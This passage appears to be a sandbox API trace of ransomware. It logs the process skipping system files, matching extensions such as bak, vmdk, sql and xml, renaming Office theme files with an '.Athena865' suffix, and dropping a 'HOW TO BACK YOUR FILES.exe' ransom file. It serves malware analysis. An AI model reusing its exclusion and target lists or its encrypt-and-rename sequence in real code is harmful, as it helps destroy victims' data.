lstrcmpiW (lpString1="Waveform.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.459] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Waveform.eftx" | out: lpString1="Waveform.eftx") returned="Waveform.eftx" [0137.459] lstrlenW (lpString="Waveform.eftx") returned 13 [0137.459] lstrlenW (lpString="Athena865") returned 9 [0137.459] lstrcmpiW (lpString1="form.eftx", lpString2="Athena865") returned 1 [0137.460] lstrlenW (lpString=".dll") returned 4 [0137.460] lstrcmpiW (lpString1="Waveform.eftx", lpString2=".dll") returned 1 [0137.460] lstrlenW (lpString=".lnk") returned 4 [0137.460] lstrcmpiW (lpString1="Waveform.eftx", lpString2=".lnk") returned 1 [0137.460] lstrlenW (lpString=".ini") returned 4 [0137.460] lstrcmpiW (lpString1="Waveform.eftx", lpString2=".ini") returned 1 [0137.460] lstrlenW (lpString=".sys") returned 4 [0137.460] lstrcmpiW (lpString1="Waveform.eftx", lpString2=".sys") returned 1 [0137.460] lstrlenW (lpString="Waveform.eftx") returned 13 [0137.460] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.Athena865") returned 90 [0137.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.athena865"), dwFlags=0x1) returned 1 [0137.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.461] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=112504) returned 1 [0137.461] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.462] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.462] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.462] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ba80, lpName=0x0) returned 0x17c [0137.464] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ba80) returned 0x100000 [0137.469] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.469] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.469] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.471] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 0 [0137.471] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0137.471] ReleaseMutex (hMutex=0xec) returned 1 [0137.471] CloseHandle (hObject=0xec) returned 1 [0137.471] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0137.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0137.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf18 | out: hHeap=0x4f0000) returned 1 [0137.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned 64 [0137.472] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5393D6ECB0DA2B2F8B188C1A1BB12517") returned 0xec [0137.472] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0137.472] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0137.472] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0137.472] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0137.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0137.473] GetLastError () returned 0x0 [0137.473] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0137.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0137.473] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0137.474] CloseHandle (hObject=0xf4) returned 1 [0137.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0137.474] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0137.474] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf007120, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf007120, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0137.475] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.475] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.475] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0137.475] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf007120, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf007120, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.475] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.475] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.475] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0137.475] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0137.475] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0137.475] lstrcmpiW (lpString1="Adjacency.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.475] lstrcmpiW (lpString1="Adjacency.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.475] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".") returned 1 [0137.475] lstrcmpiW (lpString1="Adjacency.xml", lpString2="..") returned 1 [0137.475] lstrcmpiW (lpString1="Adjacency.xml", lpString2="windows") returned -1 [0137.475] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootmgr") returned -1 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2="temp") returned -1 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2="pagefile.sys") returned -1 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2="boot") returned -1 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ids.txt") returned -1 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntuser.dat") returned -1 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2="perflogs") returned -1 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2="MSBuild") returned -1 [0137.476] lstrlenW (lpString="Adjacency.xml") returned 13 [0137.476] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Adjacency.xml" | out: lpString1="Adjacency.xml") returned="Adjacency.xml" [0137.476] lstrlenW (lpString="Adjacency.xml") returned 13 [0137.476] lstrlenW (lpString="Athena865") returned 9 [0137.476] lstrcmpiW (lpString1="cency.xml", lpString2="Athena865") returned 1 [0137.476] lstrlenW (lpString=".dll") returned 4 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".dll") returned 1 [0137.476] lstrlenW (lpString=".lnk") returned 4 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".lnk") returned 1 [0137.476] lstrlenW (lpString=".ini") returned 4 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".ini") returned 1 [0137.476] lstrlenW (lpString=".sys") returned 4 [0137.476] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".sys") returned 1 [0137.476] lstrlenW (lpString="Adjacency.xml") returned 13 [0137.476] lstrlenW (lpString="bak") returned 3 [0137.476] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.476] lstrlenW (lpString="ba_") returned 3 [0137.476] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.476] lstrlenW (lpString="dbb") returned 3 [0137.476] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.477] lstrlenW (lpString="vmdk") returned 4 [0137.477] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.477] lstrlenW (lpString="rar") returned 3 [0137.477] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.477] lstrlenW (lpString="zip") returned 3 [0137.477] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.477] lstrlenW (lpString="tgz") returned 3 [0137.477] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.477] lstrlenW (lpString="vbox") returned 4 [0137.477] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.477] lstrlenW (lpString="vdi") returned 3 [0137.477] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.477] lstrlenW (lpString="vhd") returned 3 [0137.477] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.477] lstrlenW (lpString="vhdx") returned 4 [0137.477] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.477] lstrlenW (lpString="avhd") returned 4 [0137.477] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.477] lstrlenW (lpString="db") returned 2 [0137.477] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.477] lstrlenW (lpString="db2") returned 3 [0137.477] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.477] lstrlenW (lpString="db3") returned 3 [0137.477] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.477] lstrlenW (lpString="dbf") returned 3 [0137.477] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.477] lstrlenW (lpString="mdf") returned 3 [0137.477] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.478] lstrlenW (lpString="mdb") returned 3 [0137.478] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.478] lstrlenW (lpString="sql") returned 3 [0137.478] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.478] lstrlenW (lpString="sqlite") returned 6 [0137.478] lstrcmpiW (lpString1="cy.xml", lpString2="sqlite") returned -1 [0137.478] lstrlenW (lpString="sqlite3") returned 7 [0137.478] lstrcmpiW (lpString1="ncy.xml", lpString2="sqlite3") returned -1 [0137.478] lstrlenW (lpString="sqlitedb") returned 8 [0137.478] lstrcmpiW (lpString1="ency.xml", lpString2="sqlitedb") returned -1 [0137.478] lstrlenW (lpString="xml") returned 3 [0137.478] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.478] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.Athena865") returned 88 [0137.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.athena865"), dwFlags=0x1) returned 1 [0137.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.480] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3609) returned 1 [0137.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.481] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.481] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.481] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.482] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.483] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.484] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.484] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.484] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.485] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.485] CloseHandle (hObject=0x17c) returned 1 [0137.485] CloseHandle (hObject=0x154) returned 1 [0137.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.486] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2=".") returned 1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="..") returned 1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="windows") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="bootmgr") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="temp") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="pagefile.sys") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="boot") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="ids.txt") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="ntuser.dat") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="perflogs") returned -1 [0137.486] lstrcmpiW (lpString1="Angles.xml", lpString2="MSBuild") returned -1 [0137.486] lstrlenW (lpString="Angles.xml") returned 10 [0137.486] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Angles.xml" | out: lpString1="Angles.xml") returned="Angles.xml" [0137.486] lstrlenW (lpString="Angles.xml") returned 10 [0137.486] lstrlenW (lpString="Athena865") returned 9 [0137.487] lstrcmpiW (lpString1="ngles.xml", lpString2="Athena865") returned 1 [0137.487] lstrlenW (lpString=".dll") returned 4 [0137.487] lstrcmpiW (lpString1="Angles.xml", lpString2=".dll") returned 1 [0137.487] lstrlenW (lpString=".lnk") returned 4 [0137.487] lstrcmpiW (lpString1="Angles.xml", lpString2=".lnk") returned 1 [0137.487] lstrlenW (lpString=".ini") returned 4 [0137.487] lstrcmpiW (lpString1="Angles.xml", lpString2=".ini") returned 1 [0137.487] lstrlenW (lpString=".sys") returned 4 [0137.487] lstrcmpiW (lpString1="Angles.xml", lpString2=".sys") returned 1 [0137.487] lstrlenW (lpString="Angles.xml") returned 10 [0137.487] lstrlenW (lpString="bak") returned 3 [0137.487] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.487] lstrlenW (lpString="ba_") returned 3 [0137.487] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.487] lstrlenW (lpString="dbb") returned 3 [0137.487] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.487] lstrlenW (lpString="vmdk") returned 4 [0137.487] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.487] lstrlenW (lpString="rar") returned 3 [0137.487] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.487] lstrlenW (lpString="zip") returned 3 [0137.487] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.487] lstrlenW (lpString="tgz") returned 3 [0137.487] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.487] lstrlenW (lpString="vbox") returned 4 [0137.487] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.487] lstrlenW (lpString="vdi") returned 3 [0137.487] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.488] lstrlenW (lpString="vhd") returned 3 [0137.488] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.488] lstrlenW (lpString="vhdx") returned 4 [0137.488] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.488] lstrlenW (lpString="avhd") returned 4 [0137.488] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.488] lstrlenW (lpString="db") returned 2 [0137.488] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.488] lstrlenW (lpString="db2") returned 3 [0137.488] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.488] lstrlenW (lpString="db3") returned 3 [0137.488] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.488] lstrlenW (lpString="dbf") returned 3 [0137.488] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.488] lstrlenW (lpString="mdf") returned 3 [0137.488] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.488] lstrlenW (lpString="mdb") returned 3 [0137.488] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.488] lstrlenW (lpString="sql") returned 3 [0137.488] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.488] lstrlenW (lpString="sqlite") returned 6 [0137.488] lstrcmpiW (lpString1="es.xml", lpString2="sqlite") returned -1 [0137.488] lstrlenW (lpString="sqlite3") returned 7 [0137.488] lstrcmpiW (lpString1="les.xml", lpString2="sqlite3") returned -1 [0137.488] lstrlenW (lpString="sqlitedb") returned 8 [0137.488] lstrcmpiW (lpString1="gles.xml", lpString2="sqlitedb") returned -1 [0137.488] lstrlenW (lpString="xml") returned 3 [0137.488] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.489] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.Athena865") returned 85 [0137.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.athena865"), dwFlags=0x1) returned 1 [0137.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.490] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3626) returned 1 [0137.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.490] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.491] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.491] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.491] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x17c [0137.492] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000 [0137.493] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.494] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.494] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.495] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.495] CloseHandle (hObject=0x17c) returned 1 [0137.495] CloseHandle (hObject=0x154) returned 1 [0137.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 